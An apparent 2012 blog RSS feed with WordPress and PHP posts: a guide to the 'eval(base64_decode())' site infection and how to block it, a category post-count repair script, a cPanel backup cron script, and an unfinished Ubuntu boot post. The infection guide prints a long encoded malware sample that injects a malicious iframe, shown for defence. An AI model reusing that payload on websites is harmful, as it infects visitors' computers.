<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Total Computers USA</title>
	<atom:link href="http://www.totalcomputersusa.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.totalcomputersusa.com</link>
	<description>Get what you need from your PC</description>
	<lastBuildDate>Wed, 09 May 2012 05:25:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>The dreaded eval(base64_decode()) &#8212; How to protect your site and your visitors</title>
		<link>http://www.totalcomputersusa.com/2012/05/evalbase64_decodehardening-php-how-to-protect-your-site-and-your-visitors/</link>
		<comments>http://www.totalcomputersusa.com/2012/05/evalbase64_decodehardening-php-how-to-protect-your-site-and-your-visitors/#comments</comments>
		<pubDate>Wed, 09 May 2012 05:08:35 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[webDev]]></category>

		<guid isPermaLink="false">http://www.totalcomputersusa.com/?p=432</guid>
		<description><![CDATA[&#60;?php eval(base64_decode(&#8216;Your day just sucks&#8217;)); ?&#62; I have quite a few friends who are WordPress aficionados and have a very limited understanding of all of the ins and outs of how the CMS works. As a result they add functionality &#8230; <a href="http://www.totalcomputersusa.com/2012/05/evalbase64_decodehardening-php-how-to-protect-your-site-and-your-visitors/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a  href="http://www.totalcomputersusa.com/wp-content/uploads/2012/05/base64.jpg" class="thickbox no_icon" title="base64"><img class="alignleft size-medium wp-image-446" title="base64" src="http://www.totalcomputersusa.com/wp-content/uploads/2012/05/base64-300x300.jpg" alt="" width="300" height="300" /></a>&lt;?php eval(base64_decode(&#8216;Your day just sucks&#8217;)); ?&gt;</p>
<p>I have quite a few friends who are WordPress aficionados and have a very limited understanding of all of the ins and outs of how the CMS works. As a result they add functionality via plugins, make the site look the way want with a theme and then they put their sites on shared hosting. Easy, inexpensive and &#8230;potentially dangerous.</p>
<p>WordPress is probably the most widely used CMS among the not-so-tech-savvy web community and as a result is susceptible to attack. The most popular of these attacks (right now) looks a bit like</p>
<pre class="wp-code-highlight prettyprint linenums:1">&amp;lt;?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5k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JeUl6VXdMalVqTkRrdU5TTTFOeU16TXk0MUl6VXpJelE1TGpVak5UTXVOU00wT1M0MUl6VTBJelUzSXpVMkxqVWpNeklqTlRrdU5TTTBNU00wTnk0MUl6VXdMalVqTXpnak5EY3VOU00xTXk0MUl6UTVMalVqTVRrak1UZ3VOU00wT0NNMU5DNDFJelE1SXpVNUxqVWpNVGd1TlNNeE9TNDFJelEwTGpVak1qTWpORFV1TlNNeU1pTTBOeTQxSXpVMUl6VTFJelE1TGpVak5UUWpORGtqTXpJdU5TTTFNU00xTVM0MUl6VXpJelE1SXpFNUl6VXdJekU1TGpVak1qZ3VOU00xTGpVak15NDFJek11TlNNMk1TNDFJbHNvS0dVcFB5SnpJam9pSWlrckluQWlLeUpzYVhRaVhTZ2lZU01pV3lnb1pTay9Jbk4xSWpvaUlpa3JJbUp6ZEhJaVhTZ3hLU2s3Wm05eUtHazlOaTB5TFRFdE1pMHhPMmt0TlRZMUlUMHdPMmtyS3lsN2FqMXBPMmxtS0hOMEtYTnpQWE56SzNOMExtWnliMjFEYUdGeVEyOWtaU2d0TVNwb0tpZ3hLekVxYmx0cVhTa3BPMzF4UFhOek8yVW9jU2s3ZlR3dmMyTnlhWEIwUGc9PScpKTsNCn0='));?&amp;gt;</pre>
<p>though your gibberish may vary. There are two layers of protection for you and your users against this beast &#8212; prevention and response &#8212; and my guide will work on all PHP based sites, not just WordPress. I will say this now, I am not offering a 100 percent guarantee that this guide will keep you virus free but I am quite sure it will go a long way to protect your users from malicious sites and will make your cleanup much, much faster.<br />
<span id="more-432"></span></p>
<h2>Prevention</h2>
<p>&nbsp;</p>
<h3>1. Harden WordPress</h3>
<p>OK I know I said this guide isn’t WordPress specific but I just want to cover this ground since most of the people reading this are probably WordPress users. There are hundreds of forums out there that talk about <a  href="http://codex.wordpress.org/Hardening_WordPress">&#8220;hardening&#8221; WordPress</a> using modifications to the .htaccess file and installing security plugins. I agree, those are steps all WordPress users should take. In fact, on top of regularly performing WordPress&#8217; security updates and keeping my plugins up to date, all of my sites use <a  href="http://wordpress.org/extend/plugins/w3-total-cache/">W3 Total Cache</a> to boost performance and <a  href="http://wordpress.org/extend/plugins/secure-wordpress/">Secure WordPress</a> to quickly and easily implement a lot of the suggestions WordPress hardeners make (e.g. adding index.php to the plugin-directory to prevent directory crawling, removing the wordpress version from the HTML markup to make targeted attacks more difficult and blocking bad URL queries that could be harmful to your WordPress database). Also, for all CMSes you should always remove plugins/modules that are not in use as well as any defunct themes/templates. Their PHP files can act as backdoors to hackers as they lie dormant, their security holes being discovered with time.</p>
<h3>2. Harden PHP</h3>
<p>No matter what CMS you have and harden the suggestions you follow/conceive will falter with time so it&#8217;s a good idea to go a layer deeper &#8212; hardening your PHP installation. WordPress (as well as Drupal, Joomla, etc.) is based entirely on PHP and that’s where we can build our brick wall. First, come up with some very secure passwords for SSH, SCP and FTP. Just stating the obvious. Second if you can and haven’t already you should really install <a  href="http://www.hardened-php.net/suhosin/">Suhosin</a>as it extends the power of your PHP.ini file to do many things, including disabling some dangerous PHP engines. <strong>If you can install/have Suhosin</strong>add the following lines to your PHP.ini file</p>
<pre class="wp-code-highlight prettyprint linenums:1">[Suhosin]
extension=suhosin.so
suhosin.executor.disable_eval=On</pre>
<p>This will disable the mighty <a  href="http://php.net/manual/en/function.eval.php">eval()</a> &#8212; a language construct which allows strings to be executed as PHP code.</p>
<p><strong>If you cannot install Suhosin and do not have it</strong><br />
Search your PHP.ini file for disable_functions=</p>
<p>If it’s not there add it to the bottom of the file. Following the ‘=’ should be a comma separated list of functions that you don’t want your PHP software to honor. In this case we want to add base64_decode to the list</p>
<pre class="wp-code-highlight prettyprint linenums:1">disable_functions=base64_decode</pre>
<p>or</p>
<pre class="wp-code-highlight prettyprint linenums:1">disable_functions=pre-existing-function,pre-existing-function,base64_decode</pre>
<h3>Why?</h3>
<p>Well first let me start off by saying it’s better to disable eval() if you can because a lot of legitimate WordPress plugins, security keys, etc. use base64_decode to pass complex code as a simple string. But if you can’t disable eval then base64_decode is the way I’d go.</p>
<pre class="wp-code-highlight prettyprint linenums:1">&amp;lt;?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJywnY2hyb21lJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1MGNubDdjVDFrYjJOMWJXVnVkQzVqY21W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TFJelE1TGpVak5UUWpORGtqTXpJdU5TTTFNU00xTVM0MUl6VXpJelE1SXpFNUl6VXdJekU1TGpVak1qZ3VOU00xTGpVak15NDFJek11TlNNMk1TNDFJbHNvS0dVcFB5SnpJam9pSWlrckluQWlLeUpzYVhRaVhTZ2lZU01pV3lnb1pTay9Jbk4xSWpvaUlpa3JJbUp6ZEhJaVhTZ3hLU2s3Wm05eUtHazlOaTB5TFRFdE1pMHhPMmt0TlRZMUlUMHdPMmtyS3lsN2FqMXBPMmxtS0hOMEtYTnpQWE56SzNOMExtWnliMjFEYUdGeVEyOWtaU2d0TVNwb0tpZ3hLekVxYmx0cVhTa3BPMzF4UFhOek8yVW9jU2s3ZlR3dmMyTnlhWEIwUGc9PScpKTsNCn0='));?&amp;gt;</pre>
<p>Here’s how the above code works. The gibberish is an encoded PHP clause that pulls in a malicious site via an iFrame which then passes a virus to any computer that is susceptible to it. base64_decode translates the string into PHP markup that your software can understand and eval() executes it. This is why disabling one of the two will keep the infection from spreading.</p>
<h1>2. Response</h1>
<p>If a hacker does manage to get past your .htaccess hardening into your site and plant some bombs one of two things will happen if you followed my instructions above.<br />
A. Your site will display an error message on top that looks something like</p>
<p><strong>Fatal error:</strong> SUHOSIN &#8211; Use of eval is forbidden by configuration in <strong>absolute_server_path/file.php(1) : eval()&#8217;d code on line 1</strong></p>
<p>and your page won’t load (or the base64_decode variety of this message if you want the non-Suhosin route)</p>
<p>B. You’ll see the above error message and your page will load, lol.</p>
<p>There are two pros to my method and two cons.</p>
<p>Pro 1. The error message means the code won’t execute and you won’t be responsible for infecting users’ computers.</p>
<p>Pro 2. Infections like this can be quite messy as they can spread to many files on your site. The error message details where it’s finding the code, so you can go in to the file it says, remove the code and refresh &#8212; repeating the process when necessary.</p>
<p>Con 1. You’ll have to recode some out-of-the-box plugins (like WordPress’ advanced text widget) because they make use of eval voluntarily *shutters*</p>
<p>Con 2. Your site looks as though it has crashed.</p>
<p>The way that the hack usually works is an insecure PHP files is discovered, compromised and made to reveal (or even act as) FTP/SCP credentials. The hacker can then upload the malicious code to your server. You need to first change all of your passwords and then follow the hardening steps above and/or contact your hosting provider and ask them to audit your account and figure out how the hacker got in.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.totalcomputersusa.com/2012/05/evalbase64_decodehardening-php-how-to-protect-your-site-and-your-visitors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fixing Incorrect Category Post Counts</title>
		<link>http://www.totalcomputersusa.com/2011/10/fixing-incorrect-category-post-counts/</link>
		<comments>http://www.totalcomputersusa.com/2011/10/fixing-incorrect-category-post-counts/#comments</comments>
		<pubDate>Mon, 31 Oct 2011 00:17:18 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[webDev]]></category>

		<guid isPermaLink="false">http://www.totalcomputersusa.com/?p=429</guid>
		<description><![CDATA[The Problem I was doing some work for a client&#8217;s e-commerce website this weekend and ran into some trouble engineering some of the sites cosmetic features. I am using WP E-Commerce (which is very good now that I have customized &#8230; <a href="http://www.totalcomputersusa.com/2011/10/fixing-incorrect-category-post-counts/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-417" title="wordpress-logo" src="http://www.totalcomputersusa.com/wp-content/uploads/2011/10/wordpress-logo.jpg" alt="" width="300" height="300" /><strong>The Problem</strong></p>
<p>I was doing some work for a client&#8217;s e-commerce website this weekend and ran into some trouble engineering some of the sites cosmetic features. I am using WP E-Commerce (which is very good now that I have customized it and programmed out many of the bugs), which makes excellent use of WordPress&#8217; custom post type capabilities.</p>
<p>I was working on a product category list, but I was adapting it to only display categories that only have items in it &#8212; empty categories would automatically hide. Well after testing it and then loading in 200+ products making mistakes and trashing different things along the way I noticed that my categories were not hiding when empty.</p>
<p>Taking a closer look I found that, even though WordPress was saying the category was empty, the post count in the database wasn&#8217;t 0. Baffled by the phenomenon I decided to do what every experience and competent developer like myself does &#8212; I googled the problem. One recommendation was &#8216;empty the trash.&#8217; I felt like such a dunce. I went in and emptied the trash, and voila! the problem remained. Darn it! So I came up with a PHP based solution that fixes the problem. As usual, my solution explained with code is below.<br />
<span id="more-429"></span><br />
<strong>The Solution</strong></p>
<p>This solution works throughout WordPress, including for any plugins that make use of a custom post type (i.e. WP E-Commerce) as well as your standard categories, posts and pages.</p>
<ol>
<li>First thing&#8217;s first. We need to start our script by opening a connection to our wordpress database. This is super easy.
<pre class="wp-code-highlight prettyprint linenums:1">
&lt;?php
//STANDARD CONNECT DATA. YOU DO NOT NEED TO EDIT THIS PART OF THE SCRIPT
require('wp-config.php'); //call wordpress config file to get the database credentials

$username = DB_USER; //pulls username from wp-config
$password = DB_PASSWORD; //pulls password from wp-config
$server = DB_HOST; //pulls host address from wp-config
$dB = DB_NAME; //pulls database id from wp-config
$connect = mysql_connect($server, $username, $password);
if (!$connect){ //outputs error info should connection fail
	 die('Could not connect: ' . mysql_error());
}
else{
	mysql_select_db($dB, $connect);
}

//DONE CONNECTING
?&gt;
</pre>
<p>I use this method a lot as it automatically pulls in the database credentials from my WP-Config.php file. Just be sure to place your script in your site root when you&#8217;re done otherwise the code as it stands above won&#8217;t work.</li>
<li>Next we need to clear out all trash items &#8212; but at the database level. Sometimes bugs and haywire communication between the WordPress dashboard and the actual database can cause some rogue posts to be eliminated from the trash in the dashboard, but still have space in the database. We need to check for this scenario and remove all instances of it. WARNING: THIS STEP WILL MAKE ALL ITEMS PLACED IN THE TRASH NON-RESTORABLE.
<pre class="wp-code-highlight prettyprint linenums:1">
&lt;?php
//Step 1. Empty trash WARNING YOU WILL NOT BE ABLE TO RESTORE ANY ITEMS IN THE TRASH AFTER THIS IS RUN
$emptyTrash = &quot;DELETE FROM wp_posts WHERE post_status = 'trash'&quot;;
$emptyTrash = mysql_query($emptyTrash);
?&gt;
</pre>
</li>
<li>Next, we go through each category one by one and sift through the database to see how many posts have been assigned to that category, counting as we go. At the end of each category we update it&#8217;s &#8220;count&#8221; field in the database with the number our script came up with.
<pre class="wp-code-highlight prettyprint linenums:1">
&lt;?php
//Step 2. Recount Posts in Each Category
$getTaxID = &quot;SELECT * FROM wp_term_taxonomy&quot;;
$getTaxID = mysql_query($getTaxID);
if(!$getTaxID){
	print 'Error: '.mysql_error();
}
while($row = mysql_fetch_array($getTaxID, MYSQL_ASSOC)){
	$taxID = $row[&quot;term_id&quot;];
	$countTaxPost = &quot;SELECT * FROM wp_term_relationships WHERE term_taxonomy_id = '$taxID'&quot;;
	$countTaxPost = mysql_query($countTaxPost);
	$count = 0;
	while($rowCount = mysql_fetch_array($countTaxPost, MYSQL_ASSOC)){
		$count++;
	}
	$getName = &quot;SELECT * FROM wp_terms WHERE term_id = '$taxID'&quot;;
	$getName = mysql_query($getName);
	if(!$getName){
		print 'Error: '.mysql_error();
	}
	$termName;
	while($taxName = mysql_fetch_array($getName, MYSQL_ASSOC)){
		$termName = $taxName[&quot;name&quot;];
	}

	$updateCount = &quot;UPDATE wp_term_taxonomy SET count = '$count' WHERE term_id = '$taxID'&quot;;
	$updateCount = mysql_query($updateCount);
	if(!$updateCount){
		print &quot;Error: &quot;.mysql_error();
	}
}
?&gt;
</pre>
</li>
<li>That&#8217;s it! As usual the full script is below. Copy, paste and save it as a PHP file in your sites root directory. For you noobies you can run it by calling it up like a webpage in your browser (i.e. http://www.example.com/SCRIPTNAME.php)
<pre class="wp-code-highlight prettyprint linenums:1">
&lt;?php
/********RESET CATEGORY POST COUNTS IN WORDPRESS*********************

SCRIPT DEVELOPED BY T.C. MCCARTHY TO SOLVE A BUG IN
WORDPRESS WHERE CATEGORIES SOMETIMES DISPLAY THE WRONG POST COUNT. DROP
THIS SCRIPT INTO YOUR WORDPRESS SITE'S ROOT DIRECTORY -- IT SHOULD BE IN THE
SAME DIRECTORY AS THE WP-CONFIG.PHP FILE. THEN EXECUTE IT BY ACCESSING THROUGH
YOUR BROWSER -- (e.g. If your site is www.example.com after dropping this file
(which we assume is named catpostfix.php) into
the root directory, you would run it by going to www.example.com/catpostgix.php)*/

//STANDARD CONNECT DATA. YOU DO NOT NEED TO EDIT THIS PART OF THE SCRIPT
require('wp-config.php'); //call wordpress config file to get the database credentials

$username = DB_USER; //pulls username from wp-config
$password = DB_PASSWORD; //pulls password from wp-config
$server = DB_HOST; //pulls host address from wp-config
$dB = DB_NAME; //pulls database id from wp-config
$connect = mysql_connect($server, $username, $password);
if (!$connect){ //outputs error info should connection fail
	 die('Could not connect: ' . mysql_error());
}
else{
	mysql_select_db($dB, $connect);
}

//DONE CONNECTING

//Step 1. Empty trash WARNING YOU WILL NOT BE ABLE TO RESTORE ANY ITEMS IN THE TRASH AFTER THIS IS RUN
$emptyTrash = &quot;DELETE FROM wp_posts WHERE post_status = 'trash'&quot;;
$emptyTrash = mysql_query($emptyTrash);

//Step 2. Recount Posts in Each Category
$getTaxID = &quot;SELECT * FROM wp_term_taxonomy&quot;;
$getTaxID = mysql_query($getTaxID);
if(!$getTaxID){
	print 'Error: '.mysql_error();
}
while($row = mysql_fetch_array($getTaxID, MYSQL_ASSOC)){
	$taxID = $row[&quot;term_id&quot;];
	$countTaxPost = &quot;SELECT * FROM wp_term_relationships WHERE term_taxonomy_id = '$taxID'&quot;;
	$countTaxPost = mysql_query($countTaxPost);
	$count = 0;
	while($rowCount = mysql_fetch_array($countTaxPost, MYSQL_ASSOC)){
		$count++;
	}
	$getName = &quot;SELECT * FROM wp_terms WHERE term_id = '$taxID'&quot;;
	$getName = mysql_query($getName);
	if(!$getName){
		print 'Error: '.mysql_error();
	}
	$termName;
	while($taxName = mysql_fetch_array($getName, MYSQL_ASSOC)){
		$termName = $taxName[&quot;name&quot;];
	}

	$updateCount = &quot;UPDATE wp_term_taxonomy SET count = '$count' WHERE term_id = '$taxID'&quot;;
	$updateCount = mysql_query($updateCount);
	if(!$updateCount){
		print &quot;Error: &quot;.mysql_error();
	}
}
?&gt;
</pre>
</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.totalcomputersusa.com/2011/10/fixing-incorrect-category-post-counts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automating a cPanel backup</title>
		<link>http://www.totalcomputersusa.com/2011/10/automating-a-cpanel-backup/</link>
		<comments>http://www.totalcomputersusa.com/2011/10/automating-a-cpanel-backup/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 13:00:55 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[webDev]]></category>

		<guid isPermaLink="false">http://www.totalcomputersusa.com/?p=401</guid>
		<description><![CDATA[I am totally anal about having backups of all of my websites. I tend to build in PHP and MySQL which means small mistakes can sometimes cause some serious damage so it&#8217;s always good to have backups around. Also, websites &#8230; <a href="http://www.totalcomputersusa.com/2011/10/automating-a-cpanel-backup/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a  href="http://www.totalcomputersusa.com/wp-content/uploads/2011/10/backupScreen.png" class="thickbox no_icon" title=""><img src="http://www.totalcomputersusa.com/wp-content/uploads/2011/10/backupScreen-300x253.png" alt="" title="backupScreen" width="300" height="253" class="alignleft size-medium wp-image-405" /></a>I am totally anal about having backups of all of my websites. I tend to build in PHP and MySQL which means small mistakes can sometimes cause some serious damage so it&#8217;s always good to have backups around. Also, websites are stored on computers, and since you&#8217;re on this blog you probably know, they die. Now most web hosts have redundant servers but why trust someone else to backup <em>your</em> work &#8212; that&#8217;s just bad business.</p>
<p>So for a while I was using the BackupWordpress plugin which would create a backup of my wordpress installation, complete with the databases. This worked for a while, but my work sometimes strays outside of wordpress and with so many instances of the same plugin running on the server, resources quickly became depleted and it was making for a bad user experience. So I do some research and I find that cPanel has a full backup option that is complete with my entire &#8216;home&#8217; directory, MySQL databases, email settings, domains, etc. Great! Only downside, there&#8217;s no option to schedule it, which means I have to remember to log into cPanel every day and run a backup if I want to have a decent backup archive.</p>
<p><span id="more-401"></span></p>
<p>Since that goes against the programmer in me I turned to google and have assembled a PHP script that automates the backup process (providing the option to store the backups in your home folder or on a remote FTP server) AND keeps your home folder clean by giving you the option to automatically delete backups that have reached a certain age.</p>
<p>You&#8217;ll need to know a few things before you can use this script but I&#8217;m sure you&#8217;ll have no problem getting the info:</p>
<ol>
<li>Your cPanel URL (i.e. http://www.example.com/cpanel)</li>
<li>The username and password to log in to the platform</li>
<li>The skin your cPanel installation is usable (you can find this by logging in and looking for the theme row in the left sidebar) <a  href="http://www.totalcomputersusa.com/wp-content/uploads/2011/10/Screen-Shot-2011-10-17-at-12.07.02-AM.png" class="thickbox no_icon" title="Screen Shot 2011-10-17 at 12.07.02 AM"><img class="alignright size-thumbnail wp-image-402" title="Screen Shot 2011-10-17 at 12.07.02 AM" src="http://www.totalcomputersusa.com/wp-content/uploads/2011/10/Screen-Shot-2011-10-17-at-12.07.02-AM-150x150.png" alt="" width="150" height="150" /></a></li>
<li>The FTP credentials IF you are going to use the remote FTP option</li>
</ol>
<p>Here&#8217;s the code:</p>
<pre class="wp-code-highlight prettyprint linenums:1">
&lt;?php

/*This script by Total Computers USA is designed to be used as a cron job. On execution it will remove all backup files of a specified name from the server that are older than the specified age. It will then create a new backup.*/

// ********* THE FOLLOWING ITEMS NEED TO BE CONFIGURED *********

// Info required for cPanel access
$cpuser = &quot;&quot;; // Username used to login to cPanel
$cppass = &quot;&quot;; // Password used to login to CPanel
$domain = &quot;&quot;; // Domain name where CPanel is run
$skin = &quot;x3&quot;; // Set to cPanel skin you use (script won't work if it doesn't match). You can locate the theme name by logging into your cPanel and looking for the &quot;theme&quot; row in the left sidebar

// You only need to fill out this section if you intend to create your backup on a remote server via cPanel's FTP option
$ftpuser = &quot;&quot;; // Username for FTP account
$ftppass = &quot;&quot;; // Password for FTP account
$ftphost = &quot;&quot;; // Full hostname or IP address for FTP host
$ftpmode = &quot;&quot;; // FTP mode (&quot;ftp&quot; for active, &quot;passiveftp&quot; for passive)

// Notification information
$notifyemail = &quot;&quot;; // Email address to send results

// Secure or non-secure mode
$secure = 1; // Set to 1 for SSL (requires SSL support), otherwise will use standard HTTP when connecting to the cPanel server

// Set to 1 to have web page result appear in your cron log
$debug = 1;

//How old to you want backup files to get

$maxAge = ''; //in days (e.g. 5) Enter 0 to never delete the backups.

//Where do you want the backup to go?

$backupLocation = ''; //enter homedirectory or ftp

//File basename to search for
$fileBasename = ''; //in cPanel environments this typically starts with backup. Enter Full Path here (e.g. /home/username/backup-*.tar.gz)
$fileBase = ''; //enter just the beginning of the file name here where the name is constant (e.g. backup-)

// *********** NO CONFIGURATION ITEMS BELOW THIS LINE *********

//For space's sake, check SERVER for files older than maxAge and delete them.
$files = glob($fileBasename); //locates expired files on server and deletes them
if(count($files) &gt; 0 &amp;&amp; $maxAge != '0')
{
    foreach($files as $file)
    {
        $age = strtotime(now) - filectime($file);
		if(($maxAge * 86400) &lt;= $age){
			unlink($file);
			print 'Deleted '.$file.'&lt;br /&gt;';
		}
	}
}

if ($secure) {
   $url = &quot;ssl://&quot;.$domain;
   $port = 2083;
} else {
   $url = $domain;
   $port = 2082;
}

$socket = fsockopen($url,$port);
if (!$socket) { echo &quot;Failed to open socket connection... Bailing out!\n&quot;; exit; }

// Encode authentication string
$authstr = $cpuser.&quot;:&quot;.$cppass;
$pass = base64_encode($authstr);

switch($backupLocation){
	case 'homedirectory':
	$params = &quot;dest=homedir&amp;email=$notifyemail&amp;submit=Generate Backup&quot;;
	break;

	case 'ftp':
	$params = &quot;dest=$ftpmode&amp;email=$notifyemail&amp;server=$ftphost&amp;user=$ftpuser&amp;pass=$ftppass&amp;submit=Generate Backup&quot;;
	break;
}

// Make POST to cPanel
fputs($socket,&quot;POST /frontend/&quot;.$skin.&quot;/backup/dofullbackup.html?&quot;.$params.&quot; HTTP/1.0\r\n&quot;);
fputs($socket,&quot;Host: $domain\r\n&quot;);
fputs($socket,&quot;Authorization: Basic $pass\r\n&quot;);
fputs($socket,&quot;Connection: Close\r\n&quot;);
fputs($socket,&quot;\r\n&quot;);

// Grab response even if we don't do anything with it.
while (!feof($socket)) {
  $response = fgets($socket,4096);
  if ($debug) echo $response;
}

fclose($socket);

?&gt;
</pre>
<p>Now all you need to do is save the PHP file, upload it to your server, and schedule a cron job.<br />
You&#8217;re done!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.totalcomputersusa.com/2011/10/automating-a-cpanel-backup/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ubuntu 11.10 &#8220;Booting system without full network configuration&#8221;</title>
		<link>http://www.totalcomputersusa.com/2011/10/ubuntu-11-10-booting-system-without-full-network-configuration/</link>
		<comments>http://www.totalcomputersusa.com/2011/10/ubuntu-11-10-booting-system-without-full-network-configuration/#comments</comments>
		<pubDate>Sun, 16 Oct 2011 19:52:25 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.totalcomputersusa.com/?p=391</guid>
		<description><![CDATA[About six months ago I was coming up with some inexpensive solutions to testing some complicated PHP scripts as well as playing with MySQL and net-based storage. I had an extra PC lying around in the shop so gutted it &#8230; <a href="http://www.totalcomputersusa.com/2011/10/ubuntu-11-10-booting-system-without-full-network-configuration/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a  href="http://www.totalcomputersusa.com/wp-content/uploads/2011/10/Ubuntu-11.10-Oneiric-Ocelot.jpg" class="thickbox no_icon" title="Ubuntu-11.10-Oneiric-Ocelot"><img class="size-full wp-image-397 alignleft" title="Ubuntu-11.10-Oneiric-Ocelot" src="http://www.totalcomputersusa.com/wp-content/uploads/2011/10/Ubuntu-11.10-Oneiric-Ocelot.jpg" alt="" width="400" height="153" /></a>About six months ago I was coming up with some inexpensive solutions to testing some complicated PHP scripts as well as playing with MySQL and net-based storage. I had an extra PC lying around in the shop so gutted it &#8212; loaded it up with some large HDDs and installed Ubuntu 11.04. I am by no means a linux expert, but I&#8217;m not a novice either. I know enough to be able to figure stuff out and navigate tutorials if I get into trouble.</p>
<p>Well, earlier this week I upgraded to 11.10 and, as with most upgrades, got into a little bit of trouble.</p>
<p><span id="more-391"></span></p>
<p>At first glance everything was fine. I had to reconfigure my FTP settings and deactivate the firewall (I have an NAT and the server isn&#8217;t storing anything sensitive and is for local access only, so instead of dealing with the headache of port opening, I just turn the thing off). But this morning I noticed that I had some updates that needed a reboot to complete. Stupidly, I rebooted the machine. As it was coming back up it gave me a new message about trying to obtain network settings. When it couldn&#8217;t (although I found out it did) it skipped to &#8220;Waiting 60 more seconds for network configuration&#8221; or something like that.</p>
<p>*Yawns*</p>
<p>Finally it jumps to &#8220;Booting system without full network configuration&#8221; even though my router shows my mac address and clearly assigned it an IP. Then it hangs there. Two minutes later I figured it was a bad boot and tried it again. No avail.</p>
<p>I started reading tutorials plagued with complaints but that had no real solutions. Some people complained the fixes listed worked only for a single boot. On the next reboot the problem recurred.</p>
